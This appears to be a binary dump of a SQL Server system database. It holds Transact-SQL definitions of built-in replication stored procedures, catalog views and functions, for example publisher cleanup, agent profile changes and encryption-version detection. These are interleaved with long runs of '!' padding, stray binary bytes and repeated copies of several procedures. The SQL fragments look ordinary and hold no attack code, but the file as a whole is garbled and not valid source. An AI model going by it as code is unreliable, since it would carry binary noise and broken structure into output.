!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`8c	<b	(K0o 8CREATE PROCEDURE sys.sp_MSdistpublisher_cleanup 
(
    @publisher sysname
)
as
begin
    set nocount on
    declare @publisher_id smallint
    declare @job_id binary(16)
    declare @job_step_uid uniqueidentifier
    declare @retcode int
    declare @agent_id int
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdistpublisher_cleanup', 'distribution')
        return (1)
    end
    
    -- Delete agents
    -- Get the publisher id
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end
	
    -- Dropping local jobs
    -- Use union in 'select'. Insensitive cursor will be used automatically.
    DECLARE hCagents CURSOR LOCAL FAST_FORWARD FOR
            SELECT job_id,
            		job_step_uid
                FROM MSsnapshot_agents
                WHERE publisher_id = @publisher_id and local_job = 1
        UNION
            SELECT job_id,
            		job_step_uid
                FROM MSlogreader_agents
                WHERE publisher_id = @publisher_id and local_job = 1
        UNION
            SELECT job_id,
            		job_step_uid 
                FROM MSdistribution_agents
                WHERE publisher_id = @publisher_id and local_job = 1
        UNION
            SELECT job_id,
            		job_step_uid
                FROM dbo.MSmerge_agents
                WHERE publisher_id = @publisher_id  and local_job = 1
        FOR READ ONLY

    OPEN hCagents
    FETCH hCagents INTO @job_id, @job_step_uid
   
    WHILE (@@fetch_status <> -1)
    BEGIN
        IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
        BEGIN
            exec @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
            										@job_step_uid = @job_step_uid
            if @retcode <> 0 or @@error <> 0
                return(1)
        END
        FETCH hCagents INTO @job_id, @job_step_uid
    end

    -- Clean up the tables, including
    --  4 Agent tables
    --  2 subscription tables
    --  article table
    --  publication table
    --  2 subscriber table
    -- The order is to avoid breaking monitoring


    delete MSpublisher_databases where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 

    delete dbo.MSpublications where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 

    delete MSarticles where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 

    delete dbo.MSsubscriptions where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 

    delete dbo.MSmerge_subscriptions where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 

    delete MSsnapshot_agents where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 
    
    delete MSlogreader_agents where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 

    -- delete cache for this agent
    delete MScached_peer_lsns 
    		where agent_id in (select id 
    							from MSdistribution_agents 
    							where publisher_id = @publisher_id)
	if @@error <> 0 
        return (1)
    		
    delete MSdistribution_agents where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 

    delete dbo.MSmerge_agents where publisher_id = @publisher_id
    if @@error <> 0 
        return (1) 

    delete MSsubscriber_info where UPPER(publisher) = UPPER(@publisher)
    if @@error <> 0 
        return (1) 

    delete MSsubscriber_schedule where UPPER(publisher) = UPPER(@publisher)
    if @@error <> 0 
        return (1) 

    delete dbo.MSpublication_access where not exists (select * from dbo.MSpublications p where
		p.publication_id = dbo.MSpublication_access.publication_id)
    if @@error <> 0 
        return (1) 

	-- We will also perform some extra cleanup for any PAL items that are
	-- no longer valid. PAL Items can become invalid if a user is dropped
	delete MSpublication_access 
		where sid != suser_sid(login, 0)
			or suser_sid(login, 0) is NULL
	if @@error <> 0 
        return (1) 
        
    delete MSrepl_originators where 
        not exists (select * from MSpublisher_databases p
            where p.id = MSrepl_originators.publisher_database_id )
    if @@error <> 0 
        return (1)
end
02@ b8-- Change one parameter of a profile from the MSagent_profiles table
create procedure sys.sp_change_agent_profile(
    @profile_id         int,
    @property           sysname,
    @value              nvarchar(3000)
)AS

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    IF lower(@property collate SQL_Latin1_General_CP1_CS_AS) not in ('description')
    BEGIN
        RAISERROR(21183, 16, -1, @property)
        RETURN (1)
    END

    IF exists ( select * from msdb..MSagent_profiles where profile_id = @profile_id)
    BEGIN
        update msdb..MSagent_profiles set description = @value where profile_id = @profile_id
        if @@error <> 0
            return(1)
    END
0 8CREATE VIEW sys.selective_xml_index_namespaces AS
	SELECT s.objid AS object_id,
		s.subobjid AS index_id,
		convert(bit, case when s.value is null then 1 else 0 end) as is_default_uri,
		convert(nvarchar(4000), s.imageval) as uri,
		convert(sysname, s.value) as prefix
	FROM sys.sysobjvalues s
	WHERE s.valclass = 109	-- SVC_SXI_NAMESPACE
		AND has_access('CO', s.objid) = 1
0 8CREATE VIEW sys.selective_xml_index_paths AS
	SELECT i.id AS object_id,
		i.indid AS index_id,
		p.path_id,
		convert(nvarchar(4000), s.value) collate Latin1_General_BIN2 as path,
		p.name,
		p.path_type,
		p.path_type_desc,
		p.xml_component_id,
		convert(nvarchar(4000), s.imageval) collate Latin1_General_BIN2 as xquery_type_description,
		p.is_xquery_type_inferred,
		p.xquery_max_length,
		p.is_xquery_max_length_inferred,
		p.is_node,
		p.system_type_id,
		p.user_type_id,
		p.max_length,
		p.precision,
		p.scale,
		convert(sysname, CollationPropertyFromId(p.collationid, 'name')) AS collation_name,
		p.is_singleton
	FROM sys.sysidxstats i
	CROSS APPLY OPENROWSET(TABLE SELECTIVE_XML_INDEX_PATHS, i.id, i.indid) p
	LEFT JOIN sys.sysobjvalues s ON s.valclass = 108 and s.objid = i.id and s.subobjid = i.indid and s.valnum = p.path_id	-- SVC_SELECTIVE_DG
	WHERE (i.indid >= 256000 and i.indid < 257000) AND i.tinyprop = 76 -- is this selective XML index
		AND has_access('CO', i.id) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!qo`b	<cc	4؍02@ b8-- Change one parameter of a profile from the MSagent_profiles table
create procedure sys.sp_change_agent_profile(
    @profile_id         int,
    @property           sysname,
    @value              nvarchar(3000)
)AS

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    IF lower(@property collate SQL_Latin1_General_CP1_CS_AS) not in ('description')
    BEGIN
        RAISERROR(21183, 16, -1, @property)
        RETURN (1)
    END

    IF exists ( select * from msdb..MSagent_profiles where profile_id = @profile_id)
    BEGIN
        update msdb..MSagent_profiles set description = @value where profile_id = @profile_id
        if @@error <> 0
            return(1)
    END
0 8CREATE VIEW sys.selective_xml_index_namespaces AS
	SELECT s.objid AS object_id,
		s.subobjid AS index_id,
		convert(bit, case when s.value is null then 1 else 0 end) as is_default_uri,
		convert(nvarchar(4000), s.imageval) as uri,
		convert(sysname, s.value) as prefix
	FROM sys.sysobjvalues s
	WHERE s.valclass = 109	-- SVC_SXI_NAMESPACE
		AND has_access('CO', s.objid) = 1
0 8CREATE VIEW sys.selective_xml_index_paths AS
	SELECT i.id AS object_id,
		i.indid AS index_id,
		p.path_id,
		convert(nvarchar(4000), s.value) collate Latin1_General_BIN2 as path,
		p.name,
		p.path_type,
		p.path_type_desc,
		p.xml_component_id,
		convert(nvarchar(4000), s.imageval) collate Latin1_General_BIN2 as xquery_type_description,
		p.is_xquery_type_inferred,
		p.xquery_max_length,
		p.is_xquery_max_length_inferred,
		p.is_node,
		p.system_type_id,
		p.user_type_id,
		p.max_length,
		p.precision,
		p.scale,
		convert(sysname, CollationPropertyFromId(p.collationid, 'name')) AS collation_name,
		p.is_singleton
	FROM sys.sysidxstats i
	CROSS APPLY OPENROWSET(TABLE SELECTIVE_XML_INDEX_PATHS, i.id, i.indid) p
	LEFT JOIN sys.sysobjvalues s ON s.valclass = 108 and s.objid = i.id and s.subobjid = i.indid and s.valnum = p.path_id	-- SVC_SELECTIVE_DG
	WHERE (i.indid >= 256000 and i.indid < 257000) AND i.tinyprop = 76 -- is this selective XML index
		AND has_access('CO', i.id) = 1
0u 8CREATE PROCEDURE sys.sp_MSrefresh_anonymous 
(
    @publication			sysname,
    @publisher				sysname,
    @publisher_db			sysname
)
AS
begin
    declare @retcode 		int
    declare @publisher_id	int
    declare @success		int
    declare @agent_id		int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    SELECT @publisher_id = NULL 
    SELECT @publisher_id = srvid FROM master.dbo.sysservers WHERE UPPER(@publisher) = UPPER(srvname)  
    IF @publisher_id IS NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
        return (1)
    END
    select @success = 2 --agent history status

    select @agent_id = id from dbo.MSmerge_agents where 
    	anonymous_subid is not NULL and --touch anonymous only
    	publication like @publication and 
    	publisher_id=@publisher_id and 
    	publisher_db=@publisher_db

    update TOP(1) dbo.MSmerge_sessions set end_time=getdate() where agent_id=@agent_id and runstatus=@success
    if @@ERROR<>0
    	return (1)
end
0' )8
create procedure sys.sp_MSgetmakegenerationapplock_90
    @wait_time int,
    @lock_acquired int OUTPUT
    as
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @DbPrincipal sysname

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1
            
    select @lock_resource = N'MSinternal_makegeneration_inprogress' + 
                convert(nvarchar(11), db_id())
    if exists (select * from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
        select @DbPrincipal = N'MSmerge_PAL_role'
    else
        select @DbPrincipal = N'db_owner'
    
    -- If someone else is making generations / has just made one, exit so
    -- that we won't deadlock
    exec @retcode = sp_getapplock @Resource = @lock_resource,
                                  @LockMode = N'Exclusive',
                                  @LockOwner = N'Session',
                                  @LockTimeout = @wait_time,
                                  @DbPrincipal = @DbPrincipal

    if @@error <> 0 or @retcode < 0
        select @lock_acquired = 0
    else
        select @lock_acquired = 1

    return @retcode

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b}	:`<d	j0I@ 8create procedure sys.sp_unsubscribe (
    @publication sysname = NULL,       /* publication name */
    @article sysname = NULL            /* article name */
    ) AS

    -- New 7.0 sp_dropsubscription parameters
    DECLARE @subscriber     sysname
    DECLARE @destination_db sysname    
    DECLARE @retcode        int 

    SET NOCOUNT ON
    
    -- sp_unsubscribe has to be callled from a remote subscriber
    -- If not, we state that it is unsupported
    SELECT @subscriber = @@REMSERVER
    IF @subscriber IS NULL
    BEGIN
        RAISERROR (21023, 16, -1,'sp_unsubscribe')
        RETURN(1)
    END

    -- 6.5 didn't support having multiple databases on the same subscriber
    -- subscribing to the same publication so here, all subscriptions to the
    -- same publication will be dropped 
    SELECT @destination_db = NULL
    
    -- Call sp_dropsubscription to do the real work
    EXEC @retcode = sys.sp_dropsubscription @publication = @publication,
                                        @article = @article,
                                        @subscriber = @subscriber,
                                        @destination_db = @destination_db
    RETURN @retcode
    
0?: D8Ph-M1.0dV 8--
-- Name: fn_replgetsqlserverregkey
-- 
-- Description: This functions retrieves the root of the version specific 
--              registry hive for the current instance of SQL Server
-- Parameter:   (none)
--
-- Notes: Trailing \ is included in the return value.
--
-- Returns: nvarchar(260)
--
-- Security: Execute permission of this function is granted to public
-- 
create function sys.fn_replgetsqlserverregkey() returns nvarchar(260)
as
begin 
    declare @regkey       nvarchar(260)
    declare @len_minorversion tinyint

    select @len_minorversion = 1
  
    select @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\' + sys.fn_MSsharedversion(@len_minorversion) collate database_default + N'\'
    return @regkey
end
0 s8
create procedure sys.sp_tables_info_90_rowset
(
    @table_name     sysname,
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 19), --DBTYPE_UI4
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 4),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID,
        TABLE_FLAGS             = s_tiv.TABLE_FLAGS
    from
        sys.spt_tables_info_view s_tiv
    where
        (
            (@table_schema is null and s_tiv.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_tiv.object_id
        ) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!M`4O<Ee	02\ 8--
-- Name: 
--	fn_replencryptversion
-- 
-- Description: 
--	This function reads the first 8 bytes of a string and determines 
--	if the string was encrypted using repl sphinx/shiloh encryption
--
-- Parameters: 
--	See the function definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	None as this function is not public.
--
CREATE FUNCTION sys.fn_replencryptversion
(
	@password nvarchar(524)
)
RETURNS int
AS
BEGIN
	DECLARE @crypto_v1_first_char varbinary(2),
			@crypto_v1_second_char varbinary(2),
			@crypto_v2_first_char varbinary(2),
			@crypto_v2_second_char varbinary(2),
			@crypto_v2_third_char varbinary(2),
			@crypto_v2_fourth_char varbinary(2),
			@crypto_v3_first_char varbinary(2),
			@crypto_v3_second_char varbinary(2),
			@crypto_v3_third_char varbinary(2),
			@crypto_v3_fourth_char varbinary(2),
			@crypto_v4_first_char varbinary(2),
			@crypto_v4_second_char varbinary(2),
			@crypto_v4_third_char varbinary(2),
			@crypto_v4_fourth_char varbinary(2)

	SELECT @crypto_v1_first_char = CONVERT(varbinary(2), NCHAR(0xa989)),
			@crypto_v1_second_char = CONVERT(varbinary(2), NCHAR(0xa888)),
			@crypto_v2_first_char = CONVERT(varbinary(2), NCHAR(0xa989)),
			@crypto_v2_second_char = CONVERT(varbinary(2), NCHAR(0xa888)),
			@crypto_v2_third_char = CONVERT(varbinary(2), NCHAR(0xa787)),
			@crypto_v2_fourth_char = CONVERT(varbinary(2), NCHAR(0xa686)),
			@crypto_v3_first_char = CONVERT(varbinary(2), NCHAR(0xa989)),
			@crypto_v3_second_char = CONVERT(varbinary(2), NCHAR(0xa888)),
			@crypto_v3_third_char = CONVERT(varbinary(2), NCHAR(0xa585)),
			@crypto_v3_fourth_char = CONVERT(varbinary(2), NCHAR(0xa484)),
			@crypto_v4_first_char = CONVERT(varbinary(2), NCHAR(0xa989)),
			@crypto_v4_second_char = CONVERT(varbinary(2), NCHAR(0xa888)),
			@crypto_v4_third_char = CONVERT(varbinary(2), NCHAR(0xa383)),
			@crypto_v4_fourth_char = CONVERT(varbinary(2), NCHAR(0xa282))

	DECLARE @replencryptversion int,
			@first_char varbinary(2),
			@second_char varbinary(2),
			@third_char varbinary(2),
			@fourth_char varbinary(2)
	
	SELECT @replencryptversion = 0,
			@first_char = NULL,
			@second_char = NULL,
			@third_char = NULL,
			@fourth_char = NULL

	IF LEN(@password) > 0
	BEGIN
		SELECT @first_char = CONVERT(varbinary(2), SUBSTRING(@password, 1, 1))
	END

	IF LEN(@password) > 1
	BEGIN
		SELECT @second_char = CONVERT(varbinary(2), SUBSTRING(@password, 2, 1))
	END

	IF LEN(@password) > 2
	BEGIN
		SELECT @third_char = CONVERT(varbinary(2), SUBSTRING(@password, 3, 1))
	END

	IF LEN(@password) > 3
	BEGIN
		SELECT @fourth_char = CONVERT(varbinary(2), SUBSTRING(@password, 4, 1))
	END

	-- version 4 (Yukon)
	IF @first_char = @crypto_v4_first_char
			AND @second_char = @crypto_v4_second_char
			AND @third_char = @crypto_v4_third_char
			AND @fourth_char = @crypto_v4_fourth_char
	BEGIN
		SELECT @replencryptversion = 4
	END
	-- version 3 (Shiloh)
	ELSE IF @first_char = @crypto_v3_first_char
			AND @second_char = @crypto_v3_second_char
			AND @third_char = @crypto_v3_third_char
			AND @fourth_char = @crypto_v3_fourth_char
	BEGIN
		SELECT @replencryptversion = 3
	END
	-- version 2 (Sphinx)
	ELSE IF @first_char = @crypto_v2_first_char
			AND @second_char = @crypto_v2_second_char
			AND @third_char = @crypto_v2_third_char
			AND @fourth_char = @crypto_v2_fourth_char
	BEGIN
		SELECT @replencryptversion = 2
	END
	-- version 1 (6.0)
	ELSE IF @first_char = @crypto_v1_first_char
			AND @second_char = @crypto_v1_second_char
	BEGIN
		SELECT @replencryptversion = 1
	END
	-- NONE
	ELSE
	BEGIN
		SELECT @replencryptversion = 0
	END
	
	RETURN @replencryptversion
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`O<
f	0[] 8CREATE PROCEDURE sys.sp_MSenumdistributionagentproperties 
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @show_security  bit = 0
) 
AS
begin
    DECLARE @independent_agent bit 
    DECLARE @publisher_id int  -- Server id of the Publisher with respect to the Distributor
   
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    SELECT @publisher_id = NULL 
    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers
     WHERE UPPER(@publisher) = UPPER(srvname)  
    
    IF @publisher_id IS NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
    END

    IF @publication <> '%' -- A publication name is specified 
    BEGIN
        -- Determine whether the given publication shares an 
        -- agent with other publicaitons in the same database
        -- or not
        SELECT @independent_agent = 0
        SELECT @independent_agent = independent_agent 
          FROM dbo.MSpublications
         WHERE publisher_id = @publisher_id
           AND publisher_db = @publisher_db
           AND publication = @publication  
        
        IF @independent_agent IS NULL
        BEGIN
            RAISERROR(20026, 16, -1, @publication)
        END

        IF @independent_agent = 0 
        BEGIN
            -- If the publication shares an agent with 
            -- other publications, change the publication
            -- name to 'ALL' before querying the MSdistribution_agents
            -- table
            SELECT @publication = N'ALL'                
        END
    END

	-- These are the main differences between @show_security = 0 and 1:
	--
	--	@show_security = 0
	--		This is the backcompat case and is really meant for 8.0
	--		publishers. Setting it to this value returns the following 
	--		column values:
	--
	--			job_id, offload_enabled, offload_server, dts_package_name,
	--			dts_package_location, status
	--
	--		Also note that the job_id returned here is from MSdistribution_agents
	--		and NOT from sysjobs... so it is possible that the job has been
	--		deleted via komodo procs but we still return the old job_id
	--
	--	@show_security = 1
	--		This is the Yukon case returns the same columns as in @show_security = 0
	--		but also adds the following columns to the resultset:
	--		
	--			subscriber_security_mode, subscriber_login, credential_identity
	--			distribution_agent_name, subscriber_type, subscriber_provider,
	--			subscriber_datasource, subscriber_providerstring, subscriber_location,
	--			subscriber_catalog
	--		
	--		Also note that the job_id returned here is from sysjobs and not
	--		from MSdistribution_agents. So if the job is deleted via the komodo
	--		procedures then we will return NULL for the job_id
    IF @show_security = 1
    BEGIN
        SELECT sj.job_id, msda.offload_enabled, msda.offload_server, 
               msda.dts_package_name, msda.dts_package_location,
               -- status of this agent, only useful in detecting
               -- whether or not the agent has be deactivated by cleanup
               -- If so, all the rows in dbo.MSsubscriptions will be 0
               (select top 1 s.status 
                    from dbo.MSsubscriptions s where
                    s.agent_id = msda.id),
                msda.subscriber_security_mode,
                msda.subscriber_login,
                sc.credential_identity,
                msda.name,
                msda.subscriber_type,
                msda.subscriber_provider,
                msda.subscriber_datasrc,
                msda.subscriber_provider_string,
                msda.subscriber_location,
                msda.subscriber_catalog
          FROM MSdistribution_agents msda
          		LEFT JOIN msdb..sysjobs sj
          			ON msda.job_id = sj.job_id
                LEFT JOIN msdb..sysjobsteps sjs
                    ON msda.job_step_uid = sjs.step_uid
                LEFT JOIN msdb..sysproxies sp
                    ON sjs.proxy_id = sp.proxy_id
                LEFT JOIN sys.credentials sc
					ON sp.credential_id = sc.credential_id
         WHERE msda.publisher_id = @publisher_id 
           AND msda.publisher_db = @publisher_db
           AND msda.publication LIKE @publication
    END
    ELSE
    BEGIN
        SELECT msda.job_id, msda.offload_enabled, msda.offload_server, 
               msda.dts_package_name, msda.dts_package_location,
               -- status of this agent, only useful in detecting
               -- whether or not the agent has be deactivated by cleanup
               -- If so, all the rows in dbo.MSsubscriptions will be 0
               (select top 1 s.status from dbo.MSsubscriptions s where
                    s.agent_id = msda.id)
          FROM MSdistribution_agents msda
          		LEFT JOIN msdb..sysjobs sj
          			ON msda.job_id = sj.job_id
         WHERE msda.publisher_id = @publisher_id 
           AND msda.publisher_db = @publisher_db
           AND msda.publication LIKE @publication
    END
end
